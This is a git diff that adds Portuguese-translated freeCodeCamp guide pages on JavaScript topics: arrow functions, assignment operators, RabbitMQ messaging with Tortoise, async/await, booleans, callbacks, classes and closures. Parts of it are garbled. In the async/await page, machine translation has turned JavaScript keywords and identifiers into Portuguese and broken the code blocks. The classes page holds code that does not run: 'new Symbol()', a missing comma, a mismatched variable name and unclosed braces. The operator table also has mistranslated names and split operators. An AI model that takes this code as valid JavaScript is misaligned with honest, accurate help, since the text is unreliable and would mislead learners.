diff --git a/client/src/guide/portuguese/javascript/arrow-functions/index.md b/client/src/guide/portuguese/javascript/arrow-functions/index.md
new file mode 100644
index 0000000000..3d4561effe
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/arrow-functions/index.md
@@ -0,0 +1,66 @@
+---
+title: Arrow Functions
+localeTitle: Funções de seta
+---
+As funções de seta são uma nova sintaxe do ES6 para escrever expressões de função JavaScript. A sintaxe mais curta economiza tempo, além de simplificar o escopo da função.
+
+## O que são funções de seta?
+
+Uma expressão de função de seta é uma sintaxe mais concisa para expressões de função de escrita usando um token de "seta gorda" ( `=>` ).
+
+### A sintaxe básica
+
+Abaixo está um exemplo básico de uma função de seta:
+
+```javascript
+// ES5 syntax 
+ var multiply = function(x, y) { 
+  return x * y; 
+ }; 
+ 
+ // ES6 arrow function 
+ var multiply = (x, y) => { return x * y; }; 
+ 
+ // Or even simpler 
+ var multiply = (x, y) => x * y; 
+```
+
+Você não precisa mais da `function` e `return` palavras-chave, ou até mesmo as chaves.
+
+### Um simplificado `this`
+
+Antes de funções de seta, novas funções definidas sua própria `this` valor. Para usar `this` dentro de uma expressão de função tradicional, temos que escrever uma solução alternativa assim:
+
+```javascript
+// ES5 syntax 
+ function Person() { 
+  // we assign `this` to `self` so we can use it later 
+  var self = this; 
+  self.age = 0; 
+ 
+  setInterval(function growUp() { 
+    // `self` refers to the expected object 
+    self.age++; 
+  }, 1000); 
+ } 
+```
+
+Uma função de seta não define é possuir `this` valor, ele herda `this` da função delimitador:
+
+```javascript
+// ES6 syntax 
+ function Person(){ 
+  this.age = 0; 
+ 
+  setInterval(() => { 
+    // `this` now refers to the Person object, brilliant! 
+    this.age++; 
+  }, 1000); 
+ } 
+ 
+ var p = new Person(); 
+```
+
+#### Leitura Adicional
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/assignment-operators/index.md b/client/src/guide/portuguese/javascript/assignment-operators/index.md
new file mode 100644
index 0000000000..c9fe0f506f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/assignment-operators/index.md
@@ -0,0 +1,65 @@
+---
+title: Assignment Operators
+localeTitle: Operadores de atribuição
+---
+# Operadores de atribuição
+
+Os operadores de atribuição, como o nome sugere, atribuem (ou reatribuem) valores a uma variável. Embora existam algumas variações nos operadores de atribuição, todos eles são construídos a partir do operador básico de atribuição.
+
+## Sintaxe
+
+`x = y;` | Descrição | Necessidade : ---------: |: ---------------------: |: ---------:  
+`x` | Variável | Requeridos  
+`=` | Operador de atribuição | Requeridos  
+`y` | Valor a atribuir à variável | Requeridos
+
+## Exemplos
+```
+let initialVar = 5;   // Variable initialization requires the use of an assignment operator 
+ 
+ let newVar = 5; 
+ newVar = 6;   // Variable values can be modified using an assignment operator 
+```
+
+## Variações
+
+Os outros operadores de atribuição são uma forma abreviada de executar alguma operação usando a variável (indicada por x acima) e valor (indicado por y acima) e, em seguida, atribuindo o resultado à própria variável.
+
+Por exemplo, abaixo está a sintaxe para o operador de atribuição de adição:
+```
+x += y; 
+```
+
+Isso é o mesmo que aplicar o operador de adição e reatribuir a soma à variável original (isto é, x), que pode ser expressa pelo seguinte código:
+```
+x = x + y; 
+```
+
+Para ilustrar isso usando valores reais, aqui está outro exemplo de uso do operador de atribuição de adição:
+```
+let myVar = 5;   // value of myVar: 5 
+ myVar += 7;   // value of myVar: 12 = 5 + 7 
+```
+
+## Lista completa de operadores de atribuição de Javascript
+
+Operador | Sintaxe | Versão longa  
+\------------------------------- | --------- | -------------  
+Atribuição | x = y | x = y  
+Atribuição de adição | x + = y | x = x + y  
+Atribuição de subtração | x - = y | x = x - y  
+Atribuição de multiplicação | x \* = y | x = x \* y  
+Atribuição de divisão | x / = y | x = x / y  
+Atribuição de reabastecimento | x% = y | x = x% y  
+Atribuição de exponenciação | x \*\* = y | x = x \*\* y  
+Atribuição do turno esquerdo | x << = y | x = x << y Atribuição de turno à direita | x >> = y | x = x >> y  
+Atribuição de turno à direita não assinada | x >>> = y | x = x >>> y  
+Bitwise AND assignment | x & = y | x = x e y  
+Atribuição XOR de bitwise | x ^ = y | x = x ^ y  
+Bitwise OU designação | x | = y | x = x | y
+
+### Mais Informações:
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment)
+
+[Link do MSDN](https://docs.microsoft.com/en-us/scripting/javascript/reference/assignment-operator-decrement-equal-javascript)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/async-messaging-with-rabbitmq-tortoise/index.md b/client/src/guide/portuguese/javascript/async-messaging-with-rabbitmq-tortoise/index.md
new file mode 100644
index 0000000000..f3bfbc8d38
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/async-messaging-with-rabbitmq-tortoise/index.md
@@ -0,0 +1,125 @@
+---
+title: Async messaging with RabbitMQ and Tortoise
+localeTitle: Mensagens assíncronas com RabbitMQ e Tortoise
+---
+O RabbitMQ é, por acaso, a plataforma de mensagens mais fácil e eficiente com o protocolo AMQ existente hoje. Usá-lo em uma arquitetura de microsserviço se traduz em enormes ganhos de desempenho, bem como a promessa de confiabilidade. Neste guia, vamos explorar os fundamentos do uso do RabbitMQ com o Node.js.
+
+## Teoria
+
+Em seu nível mais básico, você idealmente teria dois serviços diferentes interagindo uns com os outros através do Rabbit - um _editor_ e um _assinante_ . Um editor normalmente envia mensagens para o Rabbit e um assinante escuta essas mensagens e executa o código com base nessas mensagens. Note que eles podem ser ambos ao mesmo tempo - um serviço pode publicar mensagens para o Rabbit e consumir mensagens ao mesmo tempo, o que faz com que sistemas realmente poderosos sejam projetados.
+
+Agora, um editor normalmente publica mensagens com uma _chave de roteamento_ para algo chamado _troca_ . Um consumidor escuta uma _fila_ na mesma troca, vinculada à chave de roteamento. Em termos de arquitetura, sua plataforma usaria uma troca de coelho, e diferentes tipos de trabalhos / serviços teriam suas próprias chaves de roteamento e filas, para que o pub-sub funcionasse de forma eficaz. Mensagens podem ser seqüências de caracteres; eles também podem ser objetos nativos - as bibliotecas cliente AMQP fazem o trabalho pesado de converter objetos de um idioma para outro. E sim, isso significa que os serviços podem ser escritos em diferentes idiomas, desde que sejam capazes de entender o AMQP.
+
+## Começando
+
+Vamos elaborar um exemplo muito simples em que um script do editor publica uma mensagem para o Rabbit, contendo um URL, e um script do consumidor escuta o Rabbit, pega o URL publicado, chama e exibe os resultados. Você pode encontrar a amostra finalizada no [Github](https://github.com/rudimk/freecodecamp-guides-rabbitmq-tortoise) .
+
+Primeiro, vamos inicializar um projeto npm:
+
+`$ npm init`
+
+Você sempre pode simplesmente pressionar `Enter` até o fim e usar as opções padrão - ou você pode preenchê-las. Agora, vamos instalar os pacotes que precisamos. Nós vamos usar o [Tortoise](https://www.npmjs.com/package/tortoise) , para interagir com o RabbitMQ. Também vamos usar o [node-cron](https://www.npmjs.com/package/node-cron) para agendar a publicação de mensagens real.
+
+`$ npm install --save tortoise node-cron`
+
+Agora o seu `package.json` deve ficar muito parecido com isto:
+```
+{ 
+  "name": "freecodecamp-guides-rabbitmq-tortoise", 
+  "version": "1.0.0", 
+  "description": "Sample code to accompany the FreeCodeCamp guide on async messaging with RabbitMQ and Tortoise.", 
+  "main": "index.js", 
+  "scripts": { 
+    "test": "echo \"Error: no test specified\" && exit 1" 
+  }, 
+  "repository": { 
+    "type": "git", 
+    "url": "git+https://github.com/rudimk/freecodecamp-guides-rabbitmq-tortoise.git" 
+  }, 
+  "keywords": [ 
+    "rabbitmq", 
+    "tortoise", 
+    "amqp" 
+  ], 
+  "author": "Rudraksh MK", 
+  "license": "MIT", 
+  "bugs": { 
+    "url": "https://github.com/rudimk/freecodecamp-guides-rabbitmq-tortoise/issues" 
+  }, 
+  "homepage": "https://github.com/rudimk/freecodecamp-guides-rabbitmq-tortoise#readme", 
+  "dependencies": { 
+    "node-cron": "^1.2.1", 
+    "tortoise": "^1.0.1" 
+  } 
+ } 
+```
+
+Agora estamos todos prontos. Vamos criar um editor primeiro.
+
+```javascript
+const Tortoise = require('tortoise') 
+ const cron = require('node-cron') 
+ 
+ const tortoise = new Tortoise(`amqp://rudimk:YouKnowWhat@$localhost:5672`) 
+```
+
+Depois de importar `tortoise` e `node-cron` , fomos em frente e inicializamos uma conexão com o RabbitMQ. Em seguida, vamos escrever uma função rápida e suja que publique uma mensagem para o Rabbit:
+
+```javascript
+function scheduleMessage(){ 
+    let payload = {url: 'https://randomuser.me/api'} 
+    tortoise 
+    .exchange('random-user-exchange', 'direct', { durable:false }) 
+    .publish('random-user-key', payload) 
+ } 
+```
+
+Isso é bem simples. Definimos um dicionário que contém um URL para a API [RandomUser.me](https://randomuser.me/) , que é então publicado na `random-user-exchange` troca de `random-user-exchange` no RabbitMQ, com a `random-user-key` roteamento de chave de `random-user-key` . Como mencionado anteriormente, a chave de roteamento é o que determina quem consegue consumir uma mensagem. Agora, vamos escrever uma regra de agendamento para publicar essa mensagem a cada 60 segundos.
+
+```javascript
+cron.schedule('60 * * * * *', scheduleMessage) 
+```
+
+E nossa editora está pronta! Mas não é nada bom sem um consumidor consumir essas mensagens! Mas primeiro, precisamos de uma biblioteca que possa chamar o URL nessas mensagens. Pessoalmente, eu uso `superagent` : `npm install --save superagent` .
+
+Agora, em `consumer.js` :
+
+```javascript
+const Tortoise = require('tortoise') 
+ const superagent = require('superagent') 
+ 
+ const tortoise = new Tortoise(`amqp://rudimk:YouKnowWhat@$localhost:5672`) 
+```
+
+Em seguida, vamos escrever uma função assíncrona que chama um URL e exibe o resultado:
+
+```javascript
+async function getURL(url){ 
+    let response = await superagent.get(url) 
+    return response.body 
+ } 
+```
+
+Hora de escrever código para consumir mensagens:
+
+```javascript
+tortoise 
+ .queue('random-user-queue', { durable: false }) 
+ // Add as many bindings as needed 
+ .exchange('random-user-exchange', 'direct', 'random-user-key', { durable: false }) 
+ .prefetch(1) 
+ .subscribe(function(msg, ack, nack) { 
+  // Handle 
+  let payload = JSON.parse(msg) 
+  getURL(payload['url']).then((response) => { 
+    console.log('Job result: ', response) 
+  }) 
+  ack() // or nack() 
+ }) 
+```
+
+Aqui, nós dissemos a `tortoise` para ouvir a `random-user-queue` , que está ligada à `random-user-key` `random-user-exchange` . Quando uma mensagem é recebida, a carga é recuperada da `msg` e é passada para a função `getURL` , que por sua vez retorna um Promise com a resposta JSON desejada da API RandomUser.
+
+## Conclusão
+
+A simplicidade associada ao uso do RabbitMQ para mensagens é incomparável, e é muito fácil criar padrões de microsserviço realmente complexos, com apenas algumas linhas de código. A melhor parte é que a lógica por trás das mensagens realmente não muda entre as linguagens - Crystal ou Go ou Python ou Ruby trabalham com Rabbit da mesma maneira - isso significa que você pode ter serviços escritos em diferentes idiomas, comunicando-se sem esforço. , permitindo que você use a melhor linguagem para o trabalho.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/await-promises/index.md b/client/src/guide/portuguese/javascript/await-promises/index.md
new file mode 100644
index 0000000000..5e3d5e9e28
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/await-promises/index.md
@@ -0,0 +1,92 @@
+---
+title: Await Promises
+localeTitle: Aguardar Promessas
+---
+## Aguardar Promessas
+
+Os [operadores](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators) `async` / `await` facilitam a implementação de muitas promessas assíncronas. Eles também permitem que os engenheiros escrevam códigos mais claros, mais sucintos e testáveis.
+
+Para entender esse assunto, você deve ter uma compreensão sólida de como as [Promessas](https://guide.freecodecamp.org/javascript/promises) funcionam.
+
+* * *
+
+## Sintaxe Básica
+
+\`\` \`javascript function slowlyResolvedPromiseFunc (string) { return new Promise (resolve => { setTimeout (() => { resolver (string); }, 5000); }); }
+
+função assíncrona doIt () { const myPromise = aguardar lentamenteResolvedPromiseFunc ("foo"); console.log (myPromise); // "foo" }
+
+faça();
+```
+There are a few things to note: 
+ 
+ * The function that encompasses the `await` declaration must include the `async` operator. This will tell the JS interpreter that it must wait until the Promise is resolved or rejected. 
+ * The `await` operator must be inline, during the const declaration. 
+ * This works for `reject` as well as `resolve`. 
+ 
+ --- 
+ 
+ ## Nested Promises vs. `Async` / `Await` 
+ 
+ Implementing a single Promise is pretty straightforward. In contrast, Chained Promises or the creation of a dependency pattern may produce "spaghetti code". 
+ 
+ The following examples assume that the <a href='https://github.com/request/request-promise' target='_blank' rel='nofollow'>`request-promise`</a> library is available as `rp`. 
+ 
+ ### Chained/Nested Promises 
+```
+
+javascript // Primeira Promessa const fooPromise = rp ("http://domain.com/foo");
+
+fooPromise.then (resultFoo => { // deve esperar por "foo" para resolver console.log (resultFoo);
+```
+const barPromise = rp("http://domain.com/bar"); 
+ const bazPromise = rp("http://domain.com/baz"); 
+ 
+ return Promise.all([barPromise, bazPromise]); 
+```
+
+}). then (resultArr => { // Lidar com as resoluções "bar" e "baz" aqui console.log (resultArr \[0\]); console.log (resultArr \[1\]); });
+```
+### `async` and `await` Promises 
+```
+
+javascript // Enrole tudo em uma função assíncrona função assíncrona doItAll () { // Pega dados do ponto de extremidade "foo", mas aguarde a resolução console.log (aguarde rp ("http://domain.com/foo"));
+```
+// Concurrently kick off the next two async calls, 
+ // don't wait for "bar" to kick off "baz" 
+ const barPromise = rp("http://domain.com/bar"); 
+ const bazPromise = rp("http://domain.com/baz"); 
+ 
+ // After both are concurrently kicked off, wait for both 
+ const barResponse = await barPromise; 
+ const bazResponse = await bazPromise; 
+ 
+ console.log(barResponse); 
+ console.log(bazResponse); 
+```
+
+}
+
+// Finalmente, invoque a função assíncrona doItAll (). then (() => console.log ('Feito!'));
+```
+The advantages of using `async` and `await` should be clear. This code is more readable, modular, and testable. 
+ 
+ It's fair to note that even though there is an added sense of concurrency, the underlying computational process is the same as the previous example. 
+ 
+ --- 
+ 
+ ## Handling Errors / Rejection 
+ 
+ A basic try-catch block handles a rejected Promise. 
+```
+
+javascript função assíncrona errorExample () { experimentar { const rejectedPromise = await Promise.reject ("Oh-oh!"); } pegar (erro) { console.log (erro); // "Uh-oh!" } }
+
+errorExample (); \`\` \`
+
+* * *
+
+#### Mais Informações:
+
+*   `await` Operador [MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await)
+*   [Documentos do MDN do](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/async_function) operador de funções `async`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/booleans/index.md b/client/src/guide/portuguese/javascript/booleans/index.md
new file mode 100644
index 0000000000..7f290d8188
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/booleans/index.md
@@ -0,0 +1,102 @@
+---
+title: Boolean
+localeTitle: boleano
+---
+## boleano
+
+Os booleanos são um tipo de dados primitivo comumente usado em linguagens de programação de computadores. Por definição, um booleano tem dois valores possíveis: `true` ou `false` .
+
+Em Javascript, há frequentemente coerção de tipo implícito para booleano. Se, por exemplo, você tiver uma instrução if que verifica uma determinada expressão, essa expressão será forçada para um valor booleano:
+
+```javascript
+var a = 'a string'; 
+ if (a) { 
+  console.log(a); // logs 'a string' 
+ } 
+```
+
+Existem apenas alguns valores que serão coagidos a falsos:
+
+*   falso (não realmente coagido como já é falso)
+*   nulo
+*   Indefinido
+*   NaN
+*   0
+*   '' (corda vazia)
+
+Todos os outros valores serão coagidos para verdadeiro. Quando um valor é coagido para um valor booleano, também chamamos isso de 'falso' ou 'truthy'.
+
+Uma maneira que o tipo de coerção é usado é com o uso dos operadores ou ( `||` ) `&&` ( `&&` ):
+
+```javascript
+var a = 'word'; 
+ var b = false; 
+ var c = true; 
+ var d = 0 
+ var e = 1 
+ var f = 2 
+ var g = null 
+ 
+ console.log(a || b); // 'word' 
+ console.log(c || a); // true 
+ console.log(b || a); // 'word' 
+ console.log(e || f); // 1 
+ console.log(f || e); // 2 
+ console.log(d || g); // null 
+ console.log(g || d); // 0 
+ console.log(a && c); // true 
+ console.log(c && a); // 'word' 
+```
+
+Como você pode ver, o operador _ou_ verifica o primeiro operando. Se isso for verdade ou verdadeiro, ele retorna imediatamente (e é por isso que obtemos 'word' no primeiro caso e true no segundo caso). Se não for verdade ou verdadeiro, devolve o segundo operando (e é por isso que obtemos 'palavra' no terceiro caso).
+
+Com o operador e ele funciona de maneira semelhante, mas para 'e' para ser verdade, ambos os operandos precisam ser verdadeiros. Por isso, sempre retornará o segundo operando se ambos forem verdadeiros / verdadeiros, caso contrário, retornará false. É por isso que no quarto caso nos tornamos verdade e no último caso obtemos "palavra".
+
+## O objeto booleano
+
+Há também um objeto JavaScript nativo que envolve um valor. O valor passado como o primeiro parâmetro é convertido em um valor booleano, se necessário. Se o valor for omitido, 0, -0, nulo, falso, NaN, indefinido ou a cadeia vazia (""), o objeto terá um valor inicial de falso. Todos os outros valores, incluindo qualquer objeto ou a string "false", criam um objeto com um valor inicial de true.
+
+Não confunda os valores Booleanos primitivos true e false com os valores true e false do objeto booleano.
+
+## Mais detalhes
+
+Qualquer objeto cujo valor não seja indefinido ou nulo, incluindo um objeto booleano cujo valor é falso, é avaliado como verdadeiro quando passado para uma instrução condicional. Se for verdade, isso executará a função. Por exemplo, a condição na seguinte declaração if é avaliada como verdadeira:
+
+```javascript
+var x = new Boolean(false); 
+ if (x) { 
+  // this code is executed 
+ } 
+```
+
+Esse comportamento não se aplica a primitivos booleanos. Por exemplo, a condição na seguinte instrução if é avaliada como falsa:
+
+```javascript
+var x = false; 
+ if (x) { 
+  // this code is not executed 
+ } 
+```
+
+Não use um objeto booleano para converter um valor não booleano em um valor booleano. Em vez disso, use o Boolean como uma função para executar esta tarefa:
+
+```javascript
+var x = Boolean(expression);     // preferred 
+ var x = new Boolean(expression); // don't use 
+```
+
+Se você especificar qualquer objeto, incluindo um objeto booleano cujo valor seja false, como o valor inicial de um objeto booleano, o novo objeto booleano terá um valor true.
+
+```javascript
+var myFalse = new Boolean(false);   // initial value of false 
+ var g = new Boolean(myFalse);       // initial value of true 
+ var myString = new String('Hello'); // string object 
+ var s = new Boolean(myString);      // initial value of true 
+```
+
+Não use um objeto booleano no lugar de um primitivo booleano.
+
+### Recursos
+
+*   [Objeto booleano](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean)
+*   [Objeto booleano](https://docs.oracle.com/javase/7/docs/api/java/lang/Boolean.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/callback-functions/index.md b/client/src/guide/portuguese/javascript/callback-functions/index.md
new file mode 100644
index 0000000000..7920040090
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/callback-functions/index.md
@@ -0,0 +1,80 @@
+---
+title: Callback Functions
+localeTitle: Funções de retorno
+---
+Este artigo apresenta uma breve introdução ao conceito e uso de funções de retorno de chamada na linguagem de programação Javascript.
+
+## Funções são objetos
+
+A primeira coisa que precisamos saber é que, em JavaScript, as funções são objetos de primeira classe. Como tal, podemos trabalhar com eles da mesma maneira que trabalhamos com outros objetos, como atribuí-los a variáveis ​​e passá-las como argumentos para outras funções. Isso é importante, porque é a última técnica que nos permite estender a funcionalidade em nossos aplicativos.
+
+## Funções de retorno
+
+Uma **função de retorno de chamada** é uma função que é passada _como um argumento_ para outra função, para ser "chamada de volta" mais tarde. Uma função que aceita outras funções como argumentos é chamada **de função de ordem superior** , que contém a lógica para _quando_ a função de retorno de chamada é executada. É a combinação desses dois que nos permitem ampliar nossa funcionalidade.
+
+Para ilustrar as chamadas de retorno, vamos começar com um exemplo simples:
+
+```javascript
+function createQuote(quote, callback){ 
+  var myQuote = "Like I always say, " + quote; 
+  callback(myQuote); // 2 
+ } 
+ 
+ function logQuote(quote){ 
+  console.log(quote); 
+ } 
+ 
+ createQuote("eat your vegetables!", logQuote); // 1 
+ 
+ // Result in console: 
+ // Like I always say, eat your vegetables! 
+```
+
+No exemplo acima, `createQuote` é a função de ordem mais alta, que aceita dois argumentos, sendo o segundo o retorno de chamada. A função `logQuote` está sendo usada para passar como nossa função de retorno de chamada. Quando executamos a função `createQuote` _(1)_ , observe que não estamos _anexando_ parênteses ao `logQuote` quando o passamos como um argumento. Isto é porque nós não queremos executar nossa função callback imediatamente, nós simplesmente queremos passar a definição da função para a função de ordem mais alta para que ela possa ser executada posteriormente.
+
+Além disso, precisamos garantir que, se a função de retorno de chamada que esperamos receber argumentos, forneça esses argumentos ao executar o retorno de chamada _(2)_ . No exemplo acima, isso seria o `callback(myQuote);` declaração, uma vez que sabemos que o `logQuote` espera que uma citação seja passada.
+
+Além disso, podemos passar funções anônimas como retornos de chamada. A chamada abaixo para `createQuote` teria o mesmo resultado que o exemplo acima:
+
+```javascript
+createQuote("eat your vegetables!", function(quote){ 
+  console.log(quote); 
+ }); 
+```
+
+Aliás, você não _precisa_ usar a palavra "callback" como o nome do seu argumento, o Javascript só precisa saber que é o nome correto do argumento. Com base no exemplo acima, a função abaixo se comportará exatamente da mesma maneira.
+
+```javascript
+function createQuote(quote, functionToCall) { 
+  var myQuote = "Like I always say, " + quote; 
+  functionToCall(myQuote); 
+ } 
+```
+
+## Por que usar retornos de chamada?
+
+Na maioria das vezes, estamos criando programas e aplicativos que operam de maneira **síncrona** . Em outras palavras, algumas de nossas operações são iniciadas somente depois que as anteriores foram concluídas. Muitas vezes, quando solicitamos dados de outras fontes, como uma API externa, nem sempre sabemos _quando_ nossos dados serão exibidos. Nesses casos, queremos aguardar a resposta, mas nem sempre queremos que todo o nosso aplicativo seja interrompido enquanto nossos dados estão sendo buscados. Essas situações são onde as funções de retorno de chamada são úteis.
+
+Vamos dar uma olhada em um exemplo que simula uma solicitação para um servidor:
+
+```javascript
+function serverRequest(query, callback){ 
+  setTimeout(function(){ 
+    var response = query + "full!"; 
+    callback(response); 
+  },5000); 
+ } 
+ 
+ function getResults(results){ 
+  console.log("Response from the server: " + results); 
+ } 
+ 
+ serverRequest("The glass is half ", getResults); 
+ 
+ // Result in console after 5 second delay: 
+ // Response from the server: The glass is half full! 
+```
+
+No exemplo acima, fazemos um pedido simulado para um servidor. Após 5 segundos, a resposta é modificada e, em seguida, nossa função de retorno de chamada `getResults` é executada. Para ver isso em ação, você pode copiar / colar o código acima na ferramenta de desenvolvedor do seu navegador e executá-lo.
+
+Além disso, se você já estiver familiarizado com o `setTimeout` , estará usando as funções de retorno de chamada o tempo todo. O argumento de função anônimo passado na chamada de função `setTimeout` do exemplo acima também é um retorno de chamada! Portanto, o retorno de chamada original do exemplo é realmente executado por outro retorno de chamada. Tenha cuidado para não aninhar muitas chamadas de retorno, se você puder ajudá-lo, pois isso pode levar a algo chamado "callback hell"! Como o nome indica, não é uma alegria lidar com isso.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/classes/index.md b/client/src/guide/portuguese/javascript/classes/index.md
new file mode 100644
index 0000000000..24d2d69d4e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/classes/index.md
@@ -0,0 +1,174 @@
+---
+title: Classes
+localeTitle: Classes
+---
+## Classes
+
+JavaScript não tem o conceito de classes inerentemente.
+
+Mas poderíamos simular as funcionalidades de uma classe aproveitando a natureza prototípica do JavaScript.
+
+Este artigo pressupõe que você tenha uma compreensão básica de [protótipos](/src/pages/javascript/prototypes/index.md) .
+
+Por uma questão de clareza, vamos supor que queremos criar uma classe que possa fazer o seguinte
+
+```javascript
+var p = new Person('James','Bond'); // create a new instance of Person class 
+    p.log() // Output: 'I am James Bond' // Accessing a function in the class 
+    // Using setters and getters 
+    p.profession = 'spy' 
+    p.profession // output: James bond is a spy 
+```
+
+### Usando a palavra-chave class
+
+Como em qualquer outra linguagem de programação, agora você pode usar a palavra-chave `class` para criar uma classe.
+
+Isso não é suportado em navegadores mais antigos e foi introduzido no ECMAScript 2015.
+
+```javascript
+class Person { 
+    constructor(firstName, lastName) { 
+        this._firstName = firstName; 
+        this._lastName = lastName; 
+    } 
+ 
+    log() { 
+        console.log('I am', this._firstName, this._lastName); 
+    } 
+ 
+    // setters 
+    set profession(val) { 
+        this._profession = val; 
+    } 
+    // getters 
+    get profession() { 
+        console.log(this._firstName, this._lastName, 'is a', this._profession); 
+    } 
+ 
+ } 
+```
+
+  
+  
+
+`class` é apenas um açúcar sintático sobre o modelo de herança baseado em protótipo existente do JavaScript.
+
+Em geral, os programadores usam as seguintes formas para criar uma classe em JavaScript.
+
+### Usando métodos adicionados a protótipos:
+
+Aqui, todos os métodos são adicionados ao protótipo
+
+```javascript
+function Person(firstName, lastName) { 
+    this._firstName = firstName; 
+    this._lastName = lastName; 
+ } 
+ 
+ Person.prototype.log = function() { 
+    console.log('I am', this._firstName, this._lastName); 
+ } 
+ 
+ // This line adds getters and setters for the profession object. Note that in general you could just write your own get and set functions like the 'log' method above. 
+ // Since in this example we are trying the mimic the class above, we try to use the getters and setters property provided by JavaScript 
+ Object.defineProperty(Person.prototype, 'profession', { 
+    set: function(val) { 
+        this._profession = val; 
+    }, 
+    get: function() { 
+        console.log(this._firstName, this._lastName, 'is a', this._profession); 
+    } 
+ }) 
+```
+
+Você também pode escrever métodos de protótipo sobre a função `Person` como abaixo
+
+```javascript
+Person.prototype = { 
+    log: function() { 
+        console.log('I am ', this._firstName, this._lastName); 
+    } 
+    set profession(val) { 
+        this._profession = val; 
+    } 
+ 
+    get profession() { 
+        console.log(this._firstName, this._lastName, 'is a', this._profession); 
+    } 
+ 
+ } 
+```
+
+### Usando métodos adicionados internamente
+
+Aqui os métodos são adicionados internamente ao invés do protótipo
+
+```javascript
+function Person(firstName, lastName) { 
+    this._firstName = firstName; 
+    this._lastName = lastName; 
+ 
+    this.log = function() { 
+        console.log('I am ', this._firstName, this._lastName); 
+    } 
+ 
+    Object.defineProperty(this, 'profession', { 
+        set: function(val) { 
+            this._profession = val; 
+        }, 
+        get: function() { 
+            console.log(this._firstName, this._lastName, 'is a', this._profession); 
+        } 
+    }) 
+ } 
+```
+
+### Ocultar detalhes em classes com símbolos
+
+Geralmente, algumas propriedades e métodos precisam ser ocultados para impedir o acesso de fora da função. Com classes, para obter essa funcionalidade, uma maneira de fazer isso é usando símbolos. O símbolo é um novo tipo de JavaScript embutido, que pode ser chamado para fornecer um novo valor de símbolo. Cada Símbolo é único e pode ser usado como uma chave no objeto. Portanto, um caso de uso de símbolos é que você pode adicionar algo a um objeto que talvez não possua e talvez não queira colidir com outras chaves de objeto, portanto, criar um novo e adicioná-lo como propriedade a esse objeto usando o símbolo é o mais seguro . Além disso, quando o valor do símbolo é adicionado a um objeto; ninguém mais saberá como obtê-lo.
+
+```javascript
+class Person { 
+    constructor(firstName, lastName) { 
+        this._firstName = firstName; 
+        this._lastName = lastName; 
+    } 
+ 
+    log() { 
+        console.log('I am', this._firstName, this._lastName); 
+    } 
+ 
+    // setters 
+    set profession(val) { 
+        this._profession = val; 
+    } 
+    // getters 
+    get profession() { 
+        console.log(this._firstName, this._lastName, 'is a', this._profession); 
+    } 
+ // With the above code, even though we can access the properties outside the function to change their content what if we don't want that. 
+ // Symbols come to rescue. 
+ let s_firstname  = new Symbol(); 
+ 
+ class Person { 
+    constructor(firstName, lastName) { 
+        this[s_firstName] = firstName; 
+        this._lastName = lastName; 
+    } 
+ 
+    log() { 
+        console.log('I am', this._firstName, this._lastName); 
+    } 
+ 
+    // setters 
+    set profession(val) { 
+        this._profession = val; 
+    } 
+    // getters 
+    get profession() { 
+        console.log(this[s_firstName], this._lastName, 'is a', this._profession); 
+    } 
+```
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/closures/index.md b/client/src/guide/portuguese/javascript/closures/index.md
new file mode 100644
index 0000000000..f5a87423a1
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/closures/index.md
@@ -0,0 +1,177 @@
+---
+title: Closures
+localeTitle: Fechamentos
+---
+# Fechamentos
+
+Um fechamento é a combinação de uma função e o ambiente léxico (escopo) dentro do qual essa função foi declarada. Closures são uma propriedade fundamental e poderosa do Javascript. Este artigo discute o 'como' e 'por que' sobre o fechamento:
+
+### Exemplo
+
+```js
+//we have an outer function named walk and an inner function named fly 
+ 
+ function walk (){ 
+ 
+  var dist = '1780 feet'; 
+ 
+  function fly(){ 
+    console.log('At '+dist); 
+  } 
+ 
+  return fly; 
+ } 
+ 
+ var flyFunc = walk(); //calling walk returns the fly function which is being assigned to flyFunc 
+ //you would expect that once the walk function above is run 
+ //you would think that JavaScript has gotten rid of the 'dist' var 
+ 
+ flyFunc(); //Logs out 'At 1780 feet' 
+ //but you still can use the function as above 
+ //this is the power of closures 
+```
+
+### Outro exemplo
+
+```js
+function by(propName) { 
+    return function(a, b) { 
+        return a[propName] - b[propName]; 
+    } 
+ } 
+ 
+ const person1 = {name: 'joe', height: 72}; 
+ const person2 = {name: 'rob', height: 70}; 
+ const person3 = {name: 'nicholas', height: 66}; 
+ 
+ const arr_ = [person1, person2, person3]; 
+ 
+ const arr_sorted = arr_.sort(by('height')); // [ { name: 'nicholas', height: 66 }, { name: 'rob', height: 70 },{ name: 'joe', height: 72 } ] 
+```
+
+O encerramento "lembra" o ambiente em que foi criado. Esse ambiente consiste em quaisquer variáveis ​​locais que estavam no escopo no momento em que o encerramento foi criado.
+
+```js
+function outside(num) { 
+  var rememberedVar = num; // In this example, rememberedVar is the lexical environment that the closure 'remembers' 
+  return function inside() { // This is the function which the closure 'remembers' 
+    console.log(rememberedVar) 
+  } 
+ } 
+ 
+ var remember1 = outside(7); // remember1 is now a closure which contains rememberedVar = 7 in its lexical environment, and //the function 'inside' 
+ var remember2 = outside(9); // remember2 is now a closure which contains rememberedVar = 9 in its lexical environment, and //the function 'inside' 
+ 
+ remember1(); // This now executes the function 'inside' which console.logs(rememberedVar) => 7 
